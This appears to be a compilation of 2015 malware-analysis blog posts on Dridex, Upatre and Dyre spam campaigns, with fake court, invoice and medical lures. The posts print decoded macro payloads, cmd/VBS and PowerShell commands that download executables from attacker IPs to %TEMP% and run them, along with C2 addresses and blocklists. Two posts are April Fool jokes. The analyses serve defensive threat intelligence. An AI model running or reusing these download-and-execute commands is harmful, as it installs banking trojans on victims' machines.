Malware spam: "COMPANY NAME has issued the claim against you and passed for consideration to HM Courts [VM1993LVW]"

This fake legal spam comes with a malicious attachment:

From:    Isiah Mosley [Rosella.e6@customer.7starnet.com]
Date:    7 April 2015 at 14:09
Subject:    Schroders has issued the claim against you and passed for consideration to HM Courts [VM1993LVW]

Schroders,Isiah Mosley

The company name is randomly chose. In the above example the attachment was called VM1993LVW.doc which matched the reference in the subject. The Word document contains a malicious macro [pastebin] which executes the following command:

cmd.exe /c @echo dim gyuFYFGuigddd: Set gyuFYFGuigddd = createobject("Microsoft.XMLHTTP")>gyuFYFGuig.vbs & @echo dim bStrm: Set bStrm = createobject("Adodb.Stream")>>gyuFYFGuig.vbs & @echo gyuFYFGuigddd.Open "GET", "http://185.39.149.178/aszxmy/image04.gif", False>>gyuFYFGuig.vbs & @echo gyuFYFGuigddd.Send>>gyuFYFGuig.vbs & @echo Set environmentVars = WScript.CreateObject("WScript.Shell").Environment("Process")>>gyuFYFGuig.vbs & @echo tempFolder = environmentVars("TEMP")>>gyuFYFGuig.vbs & @echo Fileopen = tempFolder + "\dfsdfff.exe">>gyuFYFGuig.vbs & @echo with bStrm>>gyuFYFGuig.vbs & @echo    .type = 1 >>gyuFYFGuig.vbs & @echo     .open>>gyuFYFGuig.vbs & @echo     .write gyuFYFGuigddd.responseBody>>gyuFYFGuig.vbs & @echo     .savetofile Fileopen, 2 >>gyuFYFGuig.vbs & @echo end with>>gyuFYFGuig.vbs & @echo Set GBIviviu67FUGBK = CreateObject("Shell.Application")>>gyuFYFGuig.vbs & @echo GBIviviu67FUGBK.Open Fileopen>>gyuFYFGuig.vbs & cscript.exe gyuFYFGuig.vbs

I can't be bothered to work out all of the crap with the .vbs which may of may not be importance. Along with an alternate macro, I can see download locations from:

http://185.39.149.178/aszxmy/image04.gif
http://148.251.87.253/aszxmy/image04.gif

For the record,  185.39.149.178 is OOO A.S.R. in Russia and 148.251.87.253 is Hetzner in Germany.

The downloaded .GIF file is definitely not a GIF and is instead an executable that gets saved as %TEMP%\dfsdfff.exe. This has a VirusTotal detecton rate of 2/56. Automated analysis tools [1] [2] [3] show the malware phoning home to:

151.252.48.36 (Vautron Serverhousing, Germany)

According to the Malwr report, it drops a DLL with a detection rate of 2/56 which is most likely a Dridex DLL.

Malware spam: "Order Confirmation Order BNTO056063 06/04/2015" / "Sales-BNThermic [Sales@bnthermic.co.uk]"

This fake financial spam does not come from BN Thermic but is instead a simple forgery with a malicious attachment:

From:    Sales-BNThermic [Sales@bnthermic.co.uk]
Date:    7 April 2015 at 09:48
Subject:    Order Confirmation Order BNTO056063 06/04/2015

Thank you for your order, please find attached confirmation.

BN Thermic

In all cases, the attached file is called BNTO056063.DOC, but there are actually at least four different variants with one of four malicious macros [1] [2] [3] [4] which then download a component from one of the following locations:

http://heubett.de/220/68.exe
http://fzsv.de/220/68.exe
http://deosiibude.de/deosiibude.de/220/68.exe
http://bewakom.de/220/68.exe

This file is then saved as %TEMP%\wabat1.1a.exe. This executable is the same one as used in this attack and the payload is the Dridex banking trojan.

Malware spam: "EBOLA INFORMATION" / "noreply@ggc-ooh.net"

This fake medical email contains a malicious attachment. It's a novel approach by the bad guys, but I doubt that many people will find it believable enough to click.

PLEASE SEE THE ATTACHED CORRESPONDENCE FOR YOUR INFORMATION.

THANK YOU.

Attached is a file 30.03.15 Ebola Virus (2).doc which contains this malicious macro [pastebin] which is contains a lot of girls names as variables (which makes a nice change from the randomly-generated stuff I suppose).

When decoded the macro downloads a component from:

http://deosiibude.de/deosiibude.de/220/68.exe

VirusTotal submissions seem to be down at the moment, so I can't tell you what the detection rate is. Automated analysis tools [1] [2] [3] show it phoning home to the following IPs (ones in bold are most likely static, the others look to be dynamic):

37.140.199.100 (Reg.Ru Hosting, Russia)

According to the Malwr report it drops a whole load of files including what is probably a Dridex DLL.

I have seen three different malicious attachments with low detection rates [1] [2] [3] which appear to contain one of two macros [1] [2] which download a further component from one of the following locations:

http://93.158.117.163:8080/bz1gs9/kansp.jpg
http://78.47.87.131:8080/bz1gs9/kansp.jpg

Those servers are almost definitely malicious in other ways, the IPs are allocated to:

93.158.117.163 (Aitos Svenska / Port80 , Sweden)
78.47.87.131 (Hetzner, Germany)

This is then saved as %TEMP%\sdfsdffff.exe which has a VirusTotal detection rate of just 1/56. Automated analysis [1] [2] [3] indicates that it calls home to:

188.120.225.17 (TheFirst-RU, Russia)

95.211.168.10 (Leaseweb, Netherlands)
222.234.230.239 (Hanaro Telecom, Korea)

Although the automated tools indicate that no files were dropped, the payload for this is almost definitely Dridex.

The executable has a VirusTotal detection rate of 3/57 and has characteristics that identify it as Upatre. Automated analysis tools [1] [2] [3] [4] [5] show that it downloads additional components from:

eduardohaiek.com/images/wicon1.png

 It also POSTs data to 141.105.141.87 (Makiyivka Online Technologies Ltd, Ukraine) in a characteristic Upatre manner:

http://141.105.141.87:13840/0204uk11/HOME/0/51-SP3/0/ELHBEDIBEHGBEHK

According to the Malwr report, the downloader drops a file gkkjxyz22.exe which has a detection rate of 2/57. This is probably the Dyre banking trojan.

Yet another malware spam run today, this time from randomly-named but legitimate companies, for example:

Dear sir or Madam,

Please find attached a remittance advice (JT934IYIP.doc) for your information.
Should you need any further information, please do not hesitate to contact us.

PEEL SOUTH EAST

Attached is a Word document with a filename matching the body one in the text. Every email attachment we have seen so far is slightly different, but there seem to be just two different malicious macros [1] [2] [pastebin] which download a component from one of the following locations:

http://31.41.45.175/sqwere/casma.gif
http://91.242.163.78/sqwere/casma.gif

Those servers are almost certainly entirely malicious, with IPs assigned to:

31.41.45.175 (Relink Ltd, Russia)
91.242.163.78 (Sysmedia, Russia)

This file is saved as %TEMP%\DOWUIAAFQTA.exe and has a VirusTotal detection rate of 4/49. Automated analysis tools [1] [2] [3] show attempted connections to:

79.149.162.117 (Telefonica Moviles Espana, Spain)
5.135.28.104 (OVH / Simpace.com, UK)

Malware spam "Unpaid Invoice [09876] attached" / "This is your Remittance Advice [ID:12345]" with VBS-in-ZIP attachment

This rather terse spam has no body text and comes from random senders. It has a ZIP attachment which contains a malicious script.

Example subjects include:
Unpaid Invoice [09323] attached
Unpaid Invoice [86633] attached
Unpaid Invoice [35893] attached
This is your Remittance Advice [ID:42667]
This is your Remittance Advice [ID:69951]

Example senders:
SAROSSA PLC
32RED
NOIDA TOLL BRIDGE CO

Example attachment names:
RC422QNSB.zip
ML82034PMRY.zip
MK843NCAK.zip
OI8244LPNH.zip
ZW1760EHOG.zip
MANX FINANCIAL GROUP PLC
RARE EARTH MINERALS PLC

Inside is a malicious VBS script. It is likely that there are several different versions, the one working sample I saw looked like this [pastebin] which is very similar to the VBA macro used in this spam run yesterday.

When run (I don't recommend this!) it executes the following command:

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile  -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.202/sqwere/casma.gif','%TEMP%\giuguiGIUGdsuf87t6F.cab'); expand %TEMP%\giuguiGIUGdsuf87t6F.cab %TEMP%\giuguiGIUGdsuf87t6F.exe; Start-Process %TEMP%\giuguiGIUGdsuf87t6F.exe;

Because there are probably several different versions of this script, there are probably several different download locations. In this case, a fake .GIF file is downloaded from a malware server at 193.26.217.202 (Servachok Ltd, Russia) which is actually an .EXE file, but it gets saved as a .CAB file. For no very good reason it is passed through EXPAND which does nothing but save it to %TEMP%\giuguiGIUGdsuf87t6F.exe.

This binary has a detection rate of 4/55. Automated analysis tools [1] [2] [3] [4] show that the malware attempts to phone home to:

188.120.225.17 (TheFirst-RU, Russia)
121.50.43.175 (Tsukaeru.net, Japan)
82.151.131.129 (DorukNet, Turkey)

5.135.28.104 (OVH / Simpace.com, UK)
46.19.143.151 (Private Layer Inc, Switzerland)

It also drops another variant of the same downloader, edg1.exe with a detection rate of 3/56 and a Dridex DLL with a detection rate of 9/56.

The names and the numbers change from email to email. Despite the displayed URL in the message, the link actually goes to cubbyusercontent.com (e.g. https://www.cubbyusercontent.com/pl/RYR5601763.zip/_33cdead4ebfe45179a32ee175b49c399) but these download locations don't last very long as there is a quota on each download.

In this case, the downloaded file is RYR5601763.zip which contains a malicious executable RYR5601763.scr which has a VirusTotal detection rate of 20/57.

Automated analysis tools [1] [2] [3] [4] [5] show that it downloads components from:

ebuyswap.co.uk/mandoc/muz3.rtf
eastmountinc.com/mandoc/muz3.rtf

It then attempts to phone home to:

141.105.141.87:13819/3103us13/HOME/41/7/4/

That IP is allocated to Makiyivka Online Technologies Ltd in Ukraine. In addition, it looks up the IP address of the computer at checkip.dyndns.org. Although this is benign, monitoring for it can be a good indicator of infection.

These URL requests are typical of the Upatre downloader.

According to the Malwr report  it drops another binary jydemnr66.exe with a detection rate of 11/55 plus a benign PDF file entitled "War by remote control" which acts as some sort of cover for the infection process.

"You've received a Telex" spam

Well, I guess if people are daft enough to think that somebody has emailed them a fax or voicemail message then this is the next logical step.

From: Telex Operator [telex@victimdomain]
To: victim@victimdomain
Subject: You have received a Telex!
Date: 1st April 2015

You have received a Telex transmission. Please be so kind as to open the attachment.

Attached is a file telex.zip which in turn contains a presumably malicious file telex.txt neither of which are detected by VirusTotal [1] [2] and the Malwr report is inconclusive.

Foolishly, one of our users opened the attachment and saw the following text strings:

00110 01101 00100 10101 11000 00111 00100 10000 10100 00110 01100 01111 00100 10000 10100 00011 10000 00100 00101 11000 11100 00001 11000 01100 00001 00100 10100 00011 00101 00100 00001 11100 00011 00110 10010 00001 01001 00100 10101 11000 00111 00100 00011 00100 01101 00011 11101 11011 01100 00100 11111 11110 11000 00110 01110 00001 11100 00011 00110 10010 00100 11000 01010 00100 10000 00001 10010 00001 11101 00100 10000 10100 00001 01100 00100 10101 11000 00111 00100 00011 01010 00001 00100 00011 00100 01101 11000 11000 10010 11011 11100 00100 11111 10100 00011 10110 10110 10101 00100 00011 10110 01010 00110 10010 00100 01101 11000 11000 10010 11011 00101 11111 00101 00100 01001 00011 10101 11011 11100

As soon as the user opened it, our own Telex machine started printing out little skull-and-crossbones characters. Now, I thought this was odd because I didn't think that the Telex machine actually had that character on.. and when I took out the daisywheel and looked closely then I couldn't find it (see image below).

Weird, huh? So, I don't know if this is a weird cross-platform cyber virus or some sort of digital incantation? I don't have much time to look now though because apparently somebody has emailed me a telegram.

(Yes, it is April Fool's day. Nobody tried to decrypt the message though!)

UK government to regulate online smut, launches PORN.GOV.UK

The government's War on Porn continues to gain pace, with an announcement today that they will make porn filtering mandatory (effectively banning pornography for consumers) and replace it with the government-controlled website PORN.GOV.UK (which is not yet operational).

Very closely modelled on the existing gov.uk site, porn.gov.uk will be available to people who sign up for a Government Gateway account.

At the end of the year, each subscriber will receive a statement of which pornography they viewed, and the costs for this will be added to their annual tax bill, either through PAYE or Self-Assessment.

The government did release a preview of the site (see the image below) which is refreshingly free of filth on the home page.

Visitors can either use the search box to find what they are after, or they can browse for approved pornographic material by category.

It's worth remembering that all material must meet the new British Standards for Pornography set up by the BSI as BS 6969. The BSI will shortly start advertising for Pornography Analysts on their careers page.

Although many sources may object to the perceived censorship, it is surely common sense that wholesome state-approved pornography will be better for everyone. Government sources say that the legislation should be passed before the election with an expected go-live date of 1st April 2016. 

Malware spam: "Debit Note [12345] information attached to this email"

This fake financial spam comes with a malicious attachment. There is no body text:

From:    Scot Dennis

Subject:    Debit Note [09993] information attached to this email

The number in the brackets varies, and the attachment seems to be randomly named (for example. 42549959.doc). There are probably many, many variants of this but the sample I saw had this malicious macro [pastebin] that executed the following command:

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.203/jsaxo8u/g39b2cx.exe','%TEMP%\4543543.cab'); expand %TEMP%\4543543.cab %TEMP%\4543543.exe; start %TEMP%\4543543.exe;

The executable downloaded is identical to the one used in this spam run also taking place today. The payload is the Dridex banking trojan.

The reference numbers, names and email addresses vary, but all come with a malicious and apparently randomly-named attachment (e.g. G-A6298638294134271075684-1.doc).

There are probably several different variants of this, but I have seen just one working example of the attachment which contains this malicious macro [pastebin] which executes the following command:

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://185.91.175.64/jsaxo8u/g39b2cx.exe','%TEMP%\4543543.cab'); expand %TEMP%\4543543.cab %TEMP%\4543543.exe; start %TEMP%\4543543.exe;

For some reason, the EXE is download from http://185.91.175.64/jsaxo8u/g39b2cx.exe with a CAB extension and then run through EXPAND which.. errr.. does nothing much. The file is saved as %TEMP%\4543543.exe, and it has a VirusTotal detection rate of 3/57.

Analysis is still pending, but the VirusTotal report does indicate the malware phone home to 188.120.225.17 (TheFirst-RU, Russia) which I strongly recommend blocking, check back for more updates later.

UPDATE:
Automated analysis [1] [2] [3] [4] show attempted connections to the following IPs:

46.19.143.151 (Private Layer INC, Switzerland)
199.201.121.169 (Synaptica, Canada)

Malware spam: "Invoice ID:12ab34" / "123"

This terse spam has a malicious attachment:

From:    Gerry Carpenter
Date:    25 March 2015 at 12:58
Subject:    Invoice ID:34bf33

123

There is an Excel attachment with the same semi-random reference number as the subject (in the sample I saw it was 34bf33.xls) which currently has zero detections. Unlike most recent document-based attacks, this does not contain a macro, but instead has an embedded OLE object that will run a VBscript if clicked, the spreadsheet itself is designed to get the victim to click-and-run that object.

Automated analysis doesn't show very much, but it does show the screenshots [1] [2]. I haven't been able to extract the VBscript in a neat enough format, but what did interest me is this novel obfuscation [pastebin] which actually just executes this:

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile  -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.221/zxr/ssidin.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; Start-Process %TEMP%\JIOiodfhioIH.exe;

Despite all the mucking about with expanding a CAB file, the downloaded file is actually an EXE file all along so nothing is done to it. This file has a detection rate of 7/56, and the Payload Security report shows it communicating with the following IPs:

92.63.88.83 (MWTV, Latvia)
82.151.131.129 (DorukNet, Turkey)
121.50.43.175 (Tsukaeru.net, Japan)

You are kindly asked to prepare and bring the documents relating to the case to Court on the specified date.
Note: If you do not come, the case will be heard in your absence.

You can review complete details of the Court Notice in the attachment.

Sincerely,

District Clerk.

In these two case the attachments were named Court_Notification_0000310657.zip and Notice_to_Appear_000283436.zip containing the malicious scripts Court_Notification_0000310657.doc.js [VirusTotal 7/57] [pastebin] [deobfuscated] and Notice_to_Appear_000283436.doc.js [VirusTotal 6/57] [pastebin] [deobfuscated] respectively.

These scripts attempt to download malicious code from the following sites:

pitfaa.nidhog.com
ilarf.net
gurutravel.co.nz
lawyermyowin.com
www.lead.com.co

Details in the download locations vary, but are in the format:

ilarf.net/document.php?rnd=1161&id=
gurutravel.co.nz/document.php?rnd=3022&id=

This leads to a randomly-named file with a GIF extension which is actually one of two malicious EXE files, with detection rates of 6/57 and 4/56. One of those produces a valid Malwr report, the other smaller EXE doesn't seem to do anything.

The executable that seems to do something POSTs to a Turkish server at 176.53.125.25 (Radore Veri Merkezi Hizmetleri A.S.). Various Malwr reports [1] [2] [3] [4] [5] [6] indicate badness on at least the following IPs:

176.53.125.20
176.53.125.21
176.53.125.22
176.53.125.23
176.53.125.24
176.53.125.25

I would suggest blocking at least those IPs, or perhaps 176.53.125.16/28 or if you don't mind blocking access to a few legitimate Turkish sites you could perhaps block 176.53.125.16/24.

I am not 100% certain of the payload, however some servers in that cluster have been fingered for serving the Trapwot fake anti-virus software.

Automated analysis tools [1] [2] [3] [4] [5] indicate that the binary crashes in those test environments. although whether or not it will work on a live PC is another matter. The payload (if it works) is almost definitely the Dridex banking trojan.

Something evil on 85.143.216.102 and 94.242.205.101

I will confess that I don't have much information on what this apparent exploit kit is or how it works, but there seems to be something evil on 94.242.205.101 (root SA, Luxembourg) [VT report] being reached via 85.143.216.102 (AirISP, Russia) [VT report].

Whatever it is, it is using subdomains from hijacked GoDaddy accounts [1] [2] which is a clear sign of badness. The hijacked GoDaddy domains change very quickly, but these have all been used in the past day or so on both those IPs:

dchsleep.com
manymike.com
vladeasa.com
ezdockparts.com
suurtampere.com
visikreatif.com
josemiguelez.com
reformapenal.com
axwaydropzone.com
capitolskopje.com
theantennapub.com
faceofsustengo.com
niagarajournal.com
crystalbeachhill.com
ezdockadirondacks.com
ezdockfingerlakes.com

extraordinaryfamilies.com
drtim.net
drclinton.net
ewomencast.net
ecounseling.net
drtimclinton.net
ecouplecounseling.net
biblicalcoachingtoday.net
drclinton.org

For practical purposes though I recommend you block traffic to the IPs rather than the domains.

Recommended blocklist:
85.143.216.102
94.242.205.101

UPDATE:
These following nearby IPs have also been distributing badness. I recommend you block these too:
85.143.216.103
94.242.205.98

Attached is a file with a random numerical name (e.g. 802186031.doc) which is in fact a malicious XML file that appears to drop the Dridex banking trojan. Indication are that this can run even with macros disabled. Each attachment has a unique MD5.

Analysis is currently pending, this appears to have several new techniques to avoid detection. According to this Twitter conversation one version attempts to download a binary from 91.226.93.51/smoozy/shake.exe although this is currently timing out for me. For security analysts, a sample of the XML file can be found here.

IMPORTANT: if you have opened this document in Word then there is a good chance that you are infected. I would recommend that you shut down any machine that has opened this. Anti-virus detections are currently very poor, but vendors may have signature available soon, I would wait 24 hours before attempting to disinfect any infected machine. Dridex collects banking passwords, so it is important that machines are not used for financial transactions.

UPDATE:

This particular attack uses some novel features. Opening the Word document reveals what appears to be an embedded XLS file:

There's some interesting metadata.. created by "Dredex" of "Ph0enix Team", then modified by "ПРроываААА".

In the typical attack scenario, opening the embedded file will force the macro to run. In this case, I used LibreOffice on a Linux box which does not support VBA. This revealed the malicious code, which looks like this.

A bit of copy-and-pasting reveals nothing more sophisticated than some Base 64 encoded text that attempts to run one of the following commands:

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.199/smoozy/shake.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://91.226.93.51/smoozy/shake.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://91.227.18.76/smoozy/shake.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://176.31.28.244/smoozy/shake.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

FYI, those IPs are allocated as follows:

193.26.217.199 (Servachok Ltd, Russia)
91.226.93.51 (Sobis OOO, Russia)
91.227.18.76 (Eximius LLC, Russia)
176.31.28.244 (OVH, France / Bitweb LLC, Russia)

"shake.exe" has a VirusTotal detection rate of 3/57. Between that VirusTotal report and this Malwr report we can see the malware attempting to connect to:

95.163.121.33 (Digital Networks aka DINETHOSTING, Russia)
87.236.215.105 (OneGbits, Lithuania)
31.160.233.212 (KPN Zakelijk Internet, Netherlands)

Further analysis is pending.
